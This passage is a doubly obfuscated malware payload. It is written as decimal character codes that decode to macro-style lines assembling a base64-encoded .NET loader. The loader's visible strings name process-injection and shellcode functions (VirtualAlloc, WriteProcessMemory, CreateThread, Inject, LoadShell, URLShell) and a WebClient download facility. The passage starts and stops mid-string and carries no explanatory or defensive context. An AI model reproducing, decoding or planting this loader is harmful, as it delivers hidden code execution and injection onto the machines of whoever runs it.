74,65,86,97,65,106,81,100,74,65,86,97,65,78,81,78,74,65,86,97,65,109,103,82,74,65,86,97,65,122,119,78,74,65,86,97,65,112,65,108,74,65,86,97,65,48,119,74,74,65,86,97,65,98,81,100,74,65,86,97,65,102,65,100,74,65,86,97,65,34,10,115,32,61,32,115,32,38,32,34,81,65,100,74,65,86,97,65,87,65,90,74,65,81,89,71,115,103,74,71,65,86,97,65,55,103,66,78,65,86,97,65,78,119,66,78,65,86,97,65,100,103,66,78,65,86,97,65,107,65,66,78,65,86,97,65,118,81,70,78,65,86,97,65,103,81,74,78,65,86,97,65,53,119,70,78,34,10,115,32,61,32,115,32,38,32,34,65,86,97,65,43,65,66,78,65,86,97,65,77,119,70,78,65,86,97,65,72,81,70,78,65,86,97,65,90,81,66,78,65,86,97,65,77,81,74,78,65,86,97,65,68,103,74,78,65,86,97,65,65,65,74,78,65,86,97,65,49,103,70,78,65,86,97,65,84,65,74,78,65,86,97,65,34,10,115,32,61,32,115,32,38,32,34,108,103,74,78,65,81,89,65,115,103,107,101,65,65,89,65,98,119,77,101,65,65,89,65,71,103,78,71,65,81,89,65,68,119,78,71,65,81,89,65,51,65,74,71,65,81,89,65,107,65,78,82,65,81,89,65,72,103,104,82,65,81,89,65,57,103,78,82,65,81,89,65,107,103,74,71,34,10,115,32,61,32,115,32,38,32,34,65,81,89,65,114,103,74,71,65,81,89,65,72,81,90,71,65,81,89,65,74,81,90,71,65,81,89,65,89,81,108,71,65,81,89,65,98,119,108,71,65,81,89,65,70,81,86,71,65,81,89,65,87,81,108,71,65,81,89,65,105,119,112,85,65,81,89,65,67,103,66,85,65,81,89,65,34,10,115,32,61,32,115,32,38,32,34,70,103,65,101,65,65,89,65,100,103,111,101,65,65,89,65,103,65,111,101,65,65,89,65,84,65,103,101,65,65,89,71,115,103,74,88,65,86,97,65,115,103,66,97,65,86,97,65,111,119,66,97,65,86,97,65,97,81,74,97,65,86,97,65,100,81,74,97,65,86,97,65,99,65,70,97,34,10,115,32,61,32,115,32,38,32,34,65,86,97,65,103,65,70,97,65,86,97,65,83,119,70,97,65,86,97,65,118,65,66,97,65,86,97,65,107,103,70,97,65,86,65,103,65,65,65,65,65,73,89,89,86,103,103,71,65,65,69,65,100,67,65,65,65,65,65,65,108,103,68,48,67,86,52,66,65,81,68,99,73,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,65,67,71,65,66,77,75,90,81,69,67,65,69,103,105,65,65,65,65,65,73,89,65,48,119,90,115,65,81,85,65,77,67,77,65,65,65,65,65,104,103,68,75,66,109,85,66,66,119,65,65,65,65,65,65,103,65,67,87,73,79,103,67,99,103,69,75,65,65,65,65,65,65,67,65,34,10,115,32,61,32,115,32,38,32,34,65,74,69,103,122,103,100,52,65,81,119,65,65,65,65,65,65,73,65,65,107,83,68,116,66,51,52,66,68,81,65,65,65,65,65,65,103,65,67,82,73,80,65,67,103,119,69,79,65,65,65,65,65,65,67,65,65,74,69,103,116,119,79,76,65,82,73,65,65,65,65,65,65,73,65,65,34,10,115,32,61,32,115,32,38,32,34,107,83,66,105,65,53,73,66,70,81,65,65,65,65,65,65,103,65,67,82,73,80,56,74,110,81,69,98,65,65,65,65,65,65,67,65,65,74,89,103,100,119,79,106,65,82,48,65,65,65,65,65,65,73,65,65,108,105,68,78,67,113,115,66,73,65,65,65,65,65,65,65,103,65,67,87,34,10,115,32,61,32,115,32,38,32,34,73,70,103,65,116,103,69,108,65,65,65,65,65,65,67,65,65,74,89,103,111,65,113,57,65,83,103,65,65,65,65,65,65,73,65,65,107,83,67,118,67,115,89,66,76,81,65,65,65,65,65,65,103,65,67,87,73,75,81,74,48,65,69,121,65,65,65,65,65,65,67,65,65,74,89,103,34,10,115,32,61,32,115,32,38,32,34,86,81,80,106,65,84,119,65,65,65,65,65,65,73,65,65,108,105,66,72,65,43,77,66,80,81,68,115,73,119,65,65,65,65,67,82,71,70,119,73,54,65,69,43,65,65,65,65,65,81,68,79,65,103,65,65,65,81,65,105,65,65,65,65,65,103,67,98,65,119,65,65,65,119,65,50,34,10,115,32,61,32,115,32,38,32,34,66,103,65,65,65,81,65,105,65,65,65,65,65,103,65,50,66,103,65,65,65,81,65,90,65,81,65,65,65,103,67,98,65,119,65,65,65,119,65,50,66,103,65,65,65,81,65,54,66,65,65,65,65,103,67,88,67,103,65,65,65,81,66,113,67,65,65,65,65,81,66,113,67,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,81,65,111,67,65,65,65,65,103,66,107,66,103,65,65,65,119,66,51,66,65,65,65,66,65,65,112,67,103,65,65,65,81,68,98,67,81,65,65,65,103,66,82,66,103,65,65,65,119,66,105,66,65,65,65,65,81,68,54,67,65,65,65,65,103,65,47,66,103,65,65,65,119,68,108,34,10,115,32,61,32,115,32,38,32,34,67,81,65,65,66,65,68,52,66,103,65,65,66,81,65,50,67,81,65,65,66,103,65,69,65,119,65,65,65,81,68,102,65,119,65,65,65,103,67,78,67,65,65,65,65,81,67,85,67,81,65,65,65,103,68,110,65,119,65,65,65,119,65,80,65,119,65,65,65,81,67,121,67,81,65,65,34,10,115,32,61,32,115,32,38,32,34,65,103,68,78,67,81,65,65,65,119,65,55,67,65,65,65,66,65,66,76,66,103,73,65,66,81,65,84,66,119,65,65,65,81,66,82,65,65,65,65,65,103,66,118,65,119,65,65,65,119,68,72,65,103,65,65,65,81,67,121,67,81,65,65,65,103,68,98,67,81,65,65,65,119,66,82,34,10,115,32,61,32,115,32,38,32,34,66,103,65,65,66,65,66,51,66,65,65,65,66,81,65,112,67,103,65,65,65,81,67,121,67,81,65,65,65,103,68,98,67,81,65,65,65,119,66,82,66,103,65,65,66,65,65,122,67,103,73,65,66,81,65,97,67,103,65,65,65,81,65,111,66,65,65,65,65,103,66,85,66,65,65,65,34,10,115,32,61,32,115,32,38,32,34,65,119,65,78,67,81,65,65,66,65,68,54,67,65,65,65,66,81,68,113,67,65,65,65,66,103,65,50,67,81,65,65,66,119,66,97,67,103,65,65,67,65,68,103,67,103,65,65,67,81,65,76,67,65,73,65,67,103,66,89,66,119,65,65,65,81,66,118,65,119,65,65,65,81,66,118,34,10,115,32,61,32,115,32,38,32,34,65,119,107,65,86,103,103,66,65,66,69,65,86,103,103,71,65,66,107,65,86,103,103,75,65,67,107,65,86,103,103,81,65,68,69,65,86,103,103,81,65,68,107,65,86,103,103,81,65,69,69,65,86,103,103,81,65,69,107,65,86,103,103,81,65,70,69,65,86,103,103,81,65,70,107,65,34,10,115,32,61,32,115,32,38,32,34,86,103,103,81,65,71,69,65,86,103,103,86,65,71,107,65,86,103,103,81,65,72,69,65,86,103,103,81,65,74,107,65,86,103,103,71,65,72,107,65,86,103,103,71,65,76,69,65,71,81,103,101,65,73,69,65,86,103,103,114,65,73,69,65,86,103,103,71,65,73,107,65,86,103,103,120,34,10,115,32,61,32,115,32,38,32,34,65,77,69,65,112,119,81,53,65,77,69,65,81,103,78,66,65,78,69,65,105,65,81,71,65,73,69,65,119,65,112,74,65,76,69,65,76,81,90,101,65,78,107,65,99,81,90,105,65,79,69,65,74,103,78,111,65,79,69,65,103,81,104,117,65,74,69,65,47,103,90,122,65,79,107,65,34,10,115,32,61,32,115,32,38,32,34,47,81,74,53,65,80,69,65,82,65,82,57,65,80,107,65,97,81,97,66,65,80,107,65,107,81,97,71,65,79,69,65,117,119,109,76,65,79,69,65,47,103,79,81,65,65,69,66,71,119,83,87,65,80,107,65,82,65,105,87,65,80,107,65,110,119,79,97,65,79,69,65,97,65,113,103,34,10,115,32,61,32,115,32,38,32,34,65,80,69,65,83,119,113,110,65,65,107,66,121,65,113,49,65,66,69,66,86,103,103,71,65,66,69,66,117,103,76,68,65,78,107,65,103,103,98,74,65,80,107,65,109,119,90,53,65,65,107,65,70,65,68,89,65,65,107,65,71,65,68,100,65,65,107,65,72,65,68,105,65,65,107,65,34,10,115,32,61,32,115,32,38,32,34,73,65,68,110,65,65,107,65,74,65,68,115,65,65,107,65,75,65,68,120,65,65,107,65,76,65,68,50,65,65,107,65,77,65,68,55,65,65,107,65,78,65,65,65,65,81,107,65,79,65,65,70,65,81,107,65,80,65,65,75,65,81,107,65,81,65,65,80,65,81,107,65,82,65,65,85,34,10,115,32,61,32,115,32,38,32,34,65,81,107,65,84,65,65,90,65,81,107,65,85,65,65,101,65,81,107,65,86,65,65,106,65,81,107,65,87,65,68,115,65,65,107,65,88,65,65,70,65,81,107,65,89,65,65,111,65,81,107,65,90,65,65,116,65,81,107,65,97,65,65,121,65,81,107,65,98,65,65,80,65,81,107,65,34,10,115,32,61,32,115,32,38,32,34,99,65,65,80,65,81,107,65,100,65,65,51,65,81,107,65,101,65,65,75,65,81,107,65,102,65,68,105,65,65,107,65,103,65,68,100,65,65,107,65,104,65,68,110,65,65,107,65,105,65,65,56,65,81,107,65,106,65,66,66,65,81,103,65,55,65,68,100,65,65,103,65,56,65,68,105,34,10,115,32,61,32,115,32,38,32,34,65,65,103,65,57,65,68,110,65,65,103,65,43,65,68,115,65,65,103,65,47,65,68,120,65,65,103,65,65,65,72,50,65,65,103,65,66,65,72,55,65,65,103,65,67,65,69,65,65,81,103,65,68,65,69,70,65,83,52,65,67,119,68,115,65,83,52,65,69,119,68,49,65,83,52,65,34,10,115,32,61,32,115,32,38,32,34,71,119,65,85,65,105,52,65,73,119,65,100,65,105,52,65,75,119,65,112,65,105,52,65,77,119,65,112,65,105,52,65,79,119,65,112,65,105,52,65,81,119,65,100,65,105,52,65,83,119,65,118,65,105,52,65,85,119,65,112,65,105,52,65,87,119,65,112,65,105,52,65,89,119,66,72,34,10,115,32,61,32,115,32,38,32,34,65,105,52,65,97,119,66,120,65,107,77,65,87,119,66,43,65,109,77,65,99,119,68,100,65,73,77,65,99,119,68,100,65,79,77,65,99,119,68,100,65,66,111,65,73,81,66,79,65,75,119,65,118,103,67,121,66,103,69,65,65,65,69,78,65,79,103,67,65,81,66,65,65,81,56,65,34,10,115,32,61,32,115,32,38,32,34,122,103,99,66,65,69,65,66,69,81,68,116,66,119,69,65,65,65,69,84,65,80,65,67,65,103,65,65,65,82,85,65,116,119,77,67,65,65,65,66,70,119,66,105,65,119,73,65,65,65,69,90,65,80,56,74,65,103,66,65,65,82,115,65,100,119,77,66,65,69,65,66,72,81,68,78,34,10,115,32,61,32,115,32,38,32,34,67,103,69,65,65,65,69,102,65,70,103,65,65,81,66,65,65,83,69,65,111,65,111,66,65,65,65,66,73,119,67,118,67,103,69,65,65,65,69,108,65,75,81,74,65,81,65,65,65,83,99,65,86,81,77,66,65,65,65,66,75,81,66,72,65,119,69,65,66,73,65,65,65,65,69,65,34,10,115,32,61,32,115,32,38,32,34,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,65,78,65,103,65,65,65,73,65,65,65,65,65,65,65,65,65,65,65,65,65,65,77,56,65,51,119,73,65,65,65,65,65,65,103,65,65,65,65,65,65,65,65,65,65,65,65,65,65,122,119,65,72,66,119,65,65,65,65,65,68,34,10,115,32,61,32,115,32,38,32,34,65,65,73,65,66,65,65,67,65,65,85,65,65,103,65,71,65,65,73,65,66,119,65,67,65,65,65,65,65,71,116,108,99,109,53,108,98,68,77,121,65,71,78,105,85,109,86,122,90,88,74,50,90,87,81,121,65,71,120,119,85,109,86,122,90,88,74,50,90,87,81,121,65,72,78,111,34,10,115,32,61,32,115,32,38,32,34,90,87,120,115,89,109,70,122,90,84,89,48,65,68,120,78,98,50,82,49,98,71,85,43,65,69,78,83,82,85,70,85,82,86,57,67,85,107,86,66,83,48,70,88,81,86,108,102,82,108,74,80,84,86,57,75,84,48,73,65,99,71,90,117,81,86,66,68,65,70,70,49,90,88,86,108,34,10,115,32,61,32,115,32,38,32,34,86,88,78,108,99,107,70,81,81,119,66,68,85,107,86,66,86,69,86,102,85,49,86,84,85,69,86,79,82,69,86,69,65,69,78,83,82,85,70,85,82,86,57,69,82,85,90,66,86,85,120,85,88,48,86,83,85,107,57,83,88,48,49,80,82,69,85,65,81,49,74,70,81,86,82,70,34,10,115,32,61,32,115,32,38,32,34,88,48,53,70,86,49,57,68,84,48,53,84,84,48,120,70,65,70,78,86,85,49,66,70,84,107,82,102,85,107,86,84,86,85,49,70,65,70,82,70,85,107,49,74,84,107,70,85,82,81,66,74,84,86,66,70,85,108,78,80,84,107,70,85,82,81,66,81,81,85,100,70,88,49,74,70,34,10,115,32,61,32,115,32,38,32,34,81,85,82,88,85,107,108,85,82,81,66,81,81,85,100,70,88,48,86,89,82,85,78,86,86,69,86,102,85,107,86,66,82,70,100,83,83,86,82,70,65,70,112,70,85,107,57,102,82,107,120,66,82,119,66,68,85,107,86,66,86,69,86,102,85,70,74,70,85,48,86,83,86,107,86,102,34,10,115,32,61,32,115,32,38,32,34,81,48,57,69,82,86,57,66,86,86,82,73,87,108,57,77,82,86,90,70,84,65,66,86,85,107,119,65,81,49,74,70,81,86,82,70,88,49,78,73,81,86,74,70,82,70,57,88,84,49,100,102,86,107,82,78,65,69,78,83,82,85,70,85,82,86,57,84,82,86,66,66,85,107,70,85,34,10,115,32,61,32,115,32,38,32,34,82,86,57,88,84,49,100,102,86,107,82,78,65,70,78,70,86,70,57,85,83,70,74,70,81,85,82,102,86,69,57,76,82,85,52,65,85,70,74,80,81,48,86,84,85,49,57,74,84,107,90,80,85,107,49,66,86,69,108,80,84,103,66,84,82,86,82,102,83,85,53,71,84,49,74,78,34,10,115,32,61,32,115,32,38,32,34,81,86,82,74,84,48,52,65,85,86,86,70,85,108,108,102,83,85,53,71,84,49,74,78,81,86,82,74,84,48,52,65,82,69,108,83,82,85,78,85,88,48,108,78,85,69,86,83,85,48,57,79,81,86,82,74,84,48,52,65,85,49,82,66,85,108,82,86,85,69,108,79,82,107,56,65,34,10,115,32,61,32,115,32,38,32,34,85,51,108,122,100,71,86,116,76,107,108,80,65,69,78,83,82,85,70,85,82,86,57,79,82,86,100,102,85,70,74,80,81,48,86,84,85,49,57,72,85,107,57,86,85,65,66,69,82,86,82,66,81,48,104,70,82,70,57,81,85,107,57,68,82,86,78,84,65,69,78,83,82,85,70,85,34,10,115,32,61,32,115,32,38,32,34,82,86,57,81,85,107,57,85,82,85,78,85,82,85,82,102,85,70,74,80,81,48,86,84,85,119,66,69,82,85,74,86,82,49,57,81,85,107,57,68,82,86,78,84,65,69,82,70,81,108,86,72,88,48,57,79,84,70,108,102,86,69,104,74,85,49,57,81,85,107,57,68,82,86,78,84,34,10,115,32,61,32,115,32,38,32,34,65,69,49,70,84,86,57,68,84,48,49,78,83,86,81,65,81,49,74,70,81,86,82,70,88,49,86,79,83,85,78,80,82,69,86,102,82,85,53,87,83,86,74,80,84,107,49,70,84,108,81,65,82,86,104,85,82,85,53,69,82,85,82,102,85,49,82,66,85,108,82,86,85,69,108,79,34,10,115,32,61,32,115,32,38,32,34,82,107,57,102,85,70,74,70,85,48,86,79,86,65,66,72,82,86,82,102,81,48,57,79,86,69,86,89,86,65,66,84,82,86,82,102,81,48,57,79,86,69,86,89,86,65,66,68,85,107,86,66,86,69,86,102,84,107,57,102,86,48,108,79,82,69,57,88,65,71,82,51,87,65,66,74,34,10,115,32,61,32,115,32,38,32,34,84,107,104,70,85,107,108,85,88,49,66,66,85,107,86,79,86,70,57,66,82,107,90,74,84,107,108,85,87,81,66,107,100,49,107,65,100,109,70,115,100,87,86,102,88,119,66,69,98,51,100,117,98,71,57,104,90,69,82,104,100,71,69,65,90,72,100,69,89,88,82,104,65,71,82,104,34,10,115,32,61,32,115,32,38,32,34,100,71,69,65,85,50,86,48,85,88,86,118,100,71,69,65,89,50,73,65,98,88,78,106,98,51,74,115,97,87,73,65,86,50,108,117,82,88,104,108,89,119,66,87,97,88,74,48,100,87,70,115,81,87,120,115,98,50,77,65,90,50,86,48,88,48,108,107,65,71,120,119,86,71,104,121,34,10,115,32,61,32,115,32,38,32,34,90,87,70,107,83,87,81,65,90,72,100,85,97,72,74,108,89,87,82,74,90,65,66,107,100,49,66,121,98,50,78,108,99,51,78,74,90,65,66,72,90,88,82,81,99,109,57,106,90,88,78,122,81,110,108,74,90,65,66,87,97,88,74,48,100,87,70,115,84,87,86,116,98,51,74,53,34,10,115,32,61,32,115,32,38,32,34,85,109,86,104,90,65,66,84,100,88,78,119,90,87,53,107,86,71,104,121,90,87,70,107,65,70,74,108,99,51,86,116,90,86,82,111,99,109,86,104,90,65,66,68,99,109,86,104,100,71,86,85,97,72,74,108,89,87,81,65,97,70,82,111,99,109,86,104,90,65,66,80,99,71,86,117,34,10,115,32,61,32,115,32,38,32,34,86,71,104,121,90,87,70,107,65,70,66,121,98,50,78,108,99,51,78,85,97,72,74,108,89,87,81,65,98,72,66,83,90,88,78,108,99,110,90,108,90,65,66,106,98,87,81,65,85,109,86,119,98,71,70,106,90,81,66,68,98,50,49,119,99,109,86,122,99,50,108,118,98,107,49,118,34,10,115,32,61,32,115,32,38,32,34,90,71,85,65,86,109,108,121,100,72,86,104,98,69,90,121,90,87,85,65,83,85,82,112,99,51,66,118,99,50,70,105,98,71,85,65,82,72,86,119,98,71,108,106,89,88,82,108,83,71,70,117,90,71,120,108,65,71,104,73,89,87,53,107,98,71,85,65,89,107,108,117,97,71,86,121,34,10,115,32,61,32,115,32,38,32,34,97,88,82,73,89,87,53,107,98,71,85,65,98,72,66,85,97,88,82,115,90,81,66,110,90,88,82,102,84,87,70,112,98,107,49,118,90,72,86,115,90,81,66,81,99,109,57,106,90,88,78,122,84,87,57,107,100,87,120,108,65,71,100,108,100,70,57,71,97,87,120,108,84,109,70,116,34,10,115,32,61,32,115,32,38,32,34,90,81,66,115,99,69,70,119,99,71,120,112,89,50,70,48,97,87,57,117,84,109,70,116,90,81,66,74,99,69,78,116,90,69,120,112,98,109,85,65,90,50,86,48,88,48,78,118,98,87,49,104,98,109,82,77,97,87,53,108,65,71,120,119,81,50,57,116,98,87,70,117,90,69,120,112,34,10,115,32,61,32,115,32,38,32,34,98,109,85,65,90,72,100,71,99,109,86,108,86,72,108,119,90,81,66,87,89,87,120,49,90,86,82,53,99,71,85,65,90,109,120,66,98,71,120,118,89,50,70,48,97,87,57,117,86,72,108,119,90,81,66,69,97,88,78,119,98,51,78,108,65,70,82,108,99,109,49,112,98,109,70,48,34,10,115,32,61,32,115,32,38,32,34,90,81,66,87,97,88,74,48,100,87,70,115,84,87,86,116,98,51,74,53,86,51,74,112,100,71,85,65,82,51,86,112,90,69,70,48,100,72,74,112,89,110,86,48,90,81,66,69,90,87,74,49,90,50,100,104,89,109,120,108,81,88,82,48,99,109,108,105,100,88,82,108,65,69,78,118,34,10,115,32,61,32,115,32,38,32,34,98,86,90,112,99,50,108,105,98,71,86,66,100,72,82,121,97,87,74,49,100,71,85,65,81,88,78,122,90,87,49,105,98,72,108,85,97,88,82,115,90,85,70,48,100,72,74,112,89,110,86,48,90,81,66,66,99,51,78,108,98,87,74,115,101,86,82,121,89,87,82,108,98,87,70,121,34,10,115,32,61,32,115,32,38,32,34,97,48,70,48,100,72,74,112,89,110,86,48,90,81,66,107,100,48,90,112,98,71,120,66,100,72,82,121,97,87,74,49,100,71,85,65,81,88,78,122,90,87,49,105,98,72,108,71,97,87,120,108,86,109,86,121,99,50,108,118,98,107,70,48,100,72,74,112,89,110,86,48,90,81,66,66,34,10,115,32,61,32,115,32,38,32,34,99,51,78,108,98,87,74,115,101,85,78,118,98,109,90,112,90,51,86,121,89,88,82,112,98,50,53,66,100,72,82,121,97,87,74,49,100,71,85,65,81,88,78,122,90,87,49,105,98,72,108,69,90,88,78,106,99,109,108,119,100,71,108,118,98,107,70,48,100,72,74,112,89,110,86,48,34,10,115,32,61,32,115,32,38,32,34,90,81,66,71,98,71,70,110,99,48,70,48,100,72,74,112,89,110,86,48,90,81,66,68,98,50,49,119,97,87,120,104,100,71,108,118,98,108,74,108,98,71,70,52,89,88,82,112,98,50,53,122,81,88,82,48,99,109,108,105,100,88,82,108,65,69,70,122,99,50,86,116,89,109,120,53,34,10,115,32,61,32,115,32,38,32,34,85,72,74,118,90,72,86,106,100,69,70,48,100,72,74,112,89,110,86,48,90,81,66,66,99,51,78,108,98,87,74,115,101,85,78,118,99,72,108,121,97,87,100,111,100,69,70,48,100,72,74,112,89,110,86,48,90,81,66,66,99,51,78,108,98,87,74,115,101,85,78,118,98,88,66,104,34,10,115,32,61,32,115,32,38,32,34,98,110,108,66,100,72,82,121,97,87,74,49,100,71,85,65,85,110,86,117,100,71,108,116,90,85,78,118,98,88,66,104,100,71,108,105,97,87,120,112,100,72,108,66,100,72,82,121,97,87,74,49,100,71,85,65,81,110,108,48,90,81,66,107,100,49,104,84,97,88,112,108,65,71,82,51,34,10,115,32,61,32,115,32,38,32,34,87,86,78,112,101,109,85,65,90,50,86,48,88,49,78,112,101,109,85,65,89,88,74,106,97,70,78,112,101,109,85,65,90,72,100,84,100,71,70,106,97,49,78,112,101,109,85,65,98,108,78,112,101,109,85,65,90,72,100,84,97,88,112,108,65,70,78,53,98,109,78,111,99,109,57,117,34,10,115,32,61,32,115,32,38,32,34,97,88,112,108,65,72,78,112,101,109,85,65,83,87,53,107,90,88,104,80,90,103,66,71,99,109,57,116,81,109,70,122,90,84,89,48,85,51,82,121,97,87,53,110,65,70,82,118,81,109,70,122,90,84,89,48,85,51,82,121,97,87,53,110,65,70,78,49,89,110,78,48,99,109,108,117,34,10,115,32,61,32,115,32,38,32,34,90,119,66,110,90,88,82,102,84,71,86,117,90,51,82,111,65,69,49,104,99,110,78,111,89,87,119,65,81,87,120,115,65,71,116,108,99,109,53,108,98,68,77,121,76,109,82,115,98,65,66,115,98,50,70,107,90,88,73,117,90,71,120,115,65,70,86,83,84,70,78,111,90,87,120,115,34,10,115,32,61,32,115,32,38,32,34,65,69,120,118,89,87,82,84,97,71,86,115,98,65,66,69,90,87,90,115,89,88,82,108,85,51,82,121,90,87,70,116,65,69,49,108,98,87,57,121,101,86,78,48,99,109,86,104,98,81,66,119,89,88,74,104,98,81,66,110,90,88,82,102,83,88,82,108,98,81,66,84,101,88,78,48,34,10,115,32,61,32,115,32,38,32,34,90,87,48,65,82,87,53,49,98,81,66,115,99,69,53,49,98,87,74,108,99,107,57,109,81,110,108,48,90,88,78,88,99,109,108,48,100,71,86,117,65,70,78,53,99,51,82,108,98,83,53,74,84,121,53,68,98,50,49,119,99,109,86,122,99,50,108,118,98,103,66,82,100,87,86,121,34,10,115,32,61,32,115,32,38,32,34,101,85,120,112,98,87,108,48,90,87,82,74,98,109,90,118,99,109,49,104,100,71,108,118,98,103,66,115,99,70,66,121,98,50,78,108,99,51,78,74,98,109,90,118,99,109,49,104,100,71,108,118,98,103,66,84,90,88,82,74,98,109,90,118,99,109,49,104,100,71,108,118,98,103,66,82,34,10,115,32,61,32,115,32,38,32,34,100,87,86,121,101,85,108,117,90,109,57,121,98,87,70,48,97,87,57,117,65,70,90,112,99,110,82,49,89,87,120,78,90,87,49,118,99,110,108,80,99,71,86,121,89,88,82,112,98,50,52,65,85,51,108,122,100,71,86,116,76,108,74,108,90,109,120,108,89,51,82,112,98,50,52,65,34,10,115,32,61,32,115,32,38,32,34,85,72,74,118,89,50,86,122,99,49,82,111,99,109,86,104,90,69,78,118,98,71,120,108,89,51,82,112,98,50,52,65,86,50,57,51,78,106,82,69,97,88,78,104,89,109,120,108,86,50,57,51,78,106,82,71,99,49,74,108,90,71,108,121,90,87,78,48,97,87,57,117,65,70,100,118,34,10,115,32,61,32,115,32,38,32,34,100,122,89,48,85,109,86,50,90,88,74,48,86,50,57,51,78,106,82,71,99,49,74,108,90,71,108,121,90,87,78,48,97,87,57,117,65,71,120,119,85,51,82,104,99,110,82,49,99,69,108,117,90,109,56,65,87,109,86,121,98,119,66,115,99,69,82,108,99,50,116,48,98,51,65,65,34,10,115,32,61,32,115,32,38,32,34,98,72,66,84,100,71,70,121,100,69,70,107,90,72,73,65,98,71,57,104,90,71,86,121,65,71,120,119,81,110,86,109,90,109,86,121,65,70,82,118,84,71,57,51,90,88,73,65,97,70,78,48,90,69,86,121,99,109,57,121,65,67,53,106,100,71,57,121,65,67,53,106,89,51,82,118,34,10,115,32,61,32,115,32,38,32,34,99,103,66,74,98,110,82,81,100,72,73,65,99,72,82,121,65,70,78,53,99,51,82,108,98,83,53,69,97,87,70,110,98,109,57,122,100,71,108,106,99,119,66,110,90,88,82,102,86,71,104,121,90,87,70,107,99,119,66,107,100,48,49,112,98,71,120,112,99,50,86,106,98,50,53,107,34,10,115,32,61,32,115,32,38,32,34,99,119,66,84,101,88,78,48,90,87,48,117,85,110,86,117,100,71,108,116,90,83,53,74,98,110,82,108,99,109,57,119,85,50,86,121,100,109,108,106,90,88,77,65,85,51,108,122,100,71,86,116,76,108,74,49,98,110,82,112,98,87,85,117,81,50,57,116,99,71,108,115,90,88,74,84,34,10,115,32,61,32,115,32,38,32,34,90,88,74,50,97,87,78,108,99,119,66,69,90,87,74,49,90,50,100,112,98,109,100,78,98,50,82,108,99,119,66,105,83,87,53,111,90,88,74,112,100,69,104,104,98,109,82,115,90,88,77,65,98,72,66,85,97,72,74,108,89,87,82,66,100,72,82,121,97,87,74,49,100,71,86,122,34,10,115,32,61,32,115,32,38,32,34,65,71,120,119,85,72,74,118,89,50,86,122,99,48,70,48,100,72,74,112,89,110,86,48,90,88,77,65,85,72,74,118,89,50,86,122,99,48,78,121,90,87,70,48,97,87,57,117,82,109,120,104,90,51,77,65,90,72,100,68,99,109,86,104,100,71,108,118,98,107,90,115,89,87,100,122,34,10,115,32,61,32,115,32,38,32,34,65,70,66,121,98,50,78,108,99,51,78,66,89,50,78,108,99,51,78,71,98,71,70,110,99,119,66,107,100,48,90,115,89,87,100,122,65,71,82,51,87,69,78,118,100,87,53,48,81,50,104,104,99,110,77,65,90,72,100,90,81,50,57,49,98,110,82,68,97,71,70,121,99,119,66,85,34,10,115,32,61,32,115,32,38,32,34,90,88,78,48,81,50,120,104,99,51,77,65,86,71,104,121,90,87,70,107,81,87,78,106,90,88,78,122,65,71,82,51,82,71,86,122,97,88,74,108,90,69,70,106,89,50,86,122,99,119,66,68,99,109,86,104,100,71,86,81,99,109,57,106,90,88,78,122,65,71,104,81,99,109,57,106,34,10,115,32,61,32,115,32,38,32,34,90,88,78,122,65,69,100,108,100,69,78,49,99,110,74,108,98,110,82,81,99,109,57,106,90,88,78,122,65,71,120,119,81,109,70,122,90,85,70,107,90,72,74,108,99,51,77,65,98,72,66,66,90,71,82,121,90,88,78,122,65,71,120,119,85,51,82,104,99,110,82,66,90,71,82,121,34,10,115,32,61,32,115,32,38,32,34,90,88,78,122,65,69,82,108,89,50,57,116,99,72,74,108,99,51,77,65,86,50,70,112,100,69,90,118,99,108,78,112,98,109,100,115,90,85,57,105,97,109,86,106,100,65,66,74,98,109,112,108,89,51,81,65,98,72,66,109,98,69,57,115,90,70,66,121,98,51,82,108,89,51,81,65,34,10,115,32,61,32,115,32,38,32,34,90,109,120,81,99,109,57,48,90,87,78,48,65,71,90,115,84,109,86,51,85,72,74,118,100,71,86,106,100,65,66,84,101,88,78,48,90,87,48,117,84,109,86,48,65,69,86,52,97,88,81,65,86,50,86,105,81,50,120,112,90,87,53,48,65,71,120,119,82,87,53,50,97,88,74,118,34,10,115,32,61,32,115,32,38,32,34,98,109,49,108,98,110,81,65,85,51,82,104,99,110,81,65,81,50,57,117,100,109,86,121,100,65,66,111,85,51,82,107,83,87,53,119,100,88,81,65,97,70,78,48,90,69,57,49,100,72,66,49,100,65,66,51,85,50,104,118,100,49,100,112,98,109,82,118,100,119,66,117,81,50,49,107,34,10,115,32,61,32,115,32,38,32,34,85,50,104,118,100,119,66,87,97,88,74,48,100,87,70,115,81,87,120,115,98,50,78,70,101,65,66,87,97,88,74,48,100,87,70,115,85,72,74,118,100,71,86,106,100,69,86,52,65,70,82,118,81,88,74,121,89,88,107,65,81,50,57,119,101,81,66,88,99,109,108,48,90,86,66,121,34,10,115,32,61,32,115,32,38,32,34,98,50,78,108,99,51,78,78,90,87,49,118,99,110,107,65,98,72,66,68,100,88,74,121,90,87,53,48,82,71,108,121,90,87,78,48,98,51,74,53,65,65,65,65,69,88,77,65,101,81,66,122,65,72,99,65,98,119,66,51,65,68,89,65,78,65,65,65,69,88,77,65,101,81,66,122,34,10,115,32,61,32,115,32,38,32,34,65,72,81,65,90,81,66,116,65,68,77,65,77,103,65,65,65,65,65,65,111,90,82,117,116,82,88,89,78,69,121,98,73,71,117,83,56,47,89,103,113,103,65,69,73,65,69,66,67,65,77,103,65,65,69,70,73,65,69,66,69,82,69,69,73,65,69,66,68,103,81,103,65,81,69,67,34,10,115,32,61,32,115,32,38,32,34,65,119,99,66,71,65,73,71,71,65,107,72,66,66,74,66,72,81,85,83,82,81,103,70,73,65,69,66,72,81,85,72,73,65,73,66,69,109,69,82,90,81,99,103,65,119,69,100,66,81,103,73,66,121,65,68,67,66,48,70,67,65,103,69,73,65,65,100,66,81,56,72,67,82,48,70,34,10,115,32,61,32,115,32,38,32,34,69,82,103,82,70,66,103,89,67,82,74,74,71,65,52,68,65,65,65,73,66,81,65,66,72,81,85,79,66,81,65,66,69,110,69,73,66,67,65,65,69,107,107,70,73,65,69,83,100,81,103,68,73,65,65,73,65,119,65,65,68,103,81,103,65,81,103,68,66,67,65,66,68,103,103,69,34,10,115,32,61,32,115,32,38,32,34,65,65,65,83,99,81,85,103,65,66,75,65,103,81,77,103,65,65,52,70,73,65,73,79,68,103,52,71,65,65,73,83,99,81,52,79,66,65,65,66,65,81,103,73,66,119,85,100,66,82,103,74,71,65,52,73,65,65,81,66,72,81,85,73,71,65,103,69,66,119,73,79,68,103,85,103,34,10,115,32,61,32,115,32,38,32,34,65,82,48,70,68,103,85,65,65,81,52,100,66,81,105,51,101,108,120,87,71,84,84,103,105,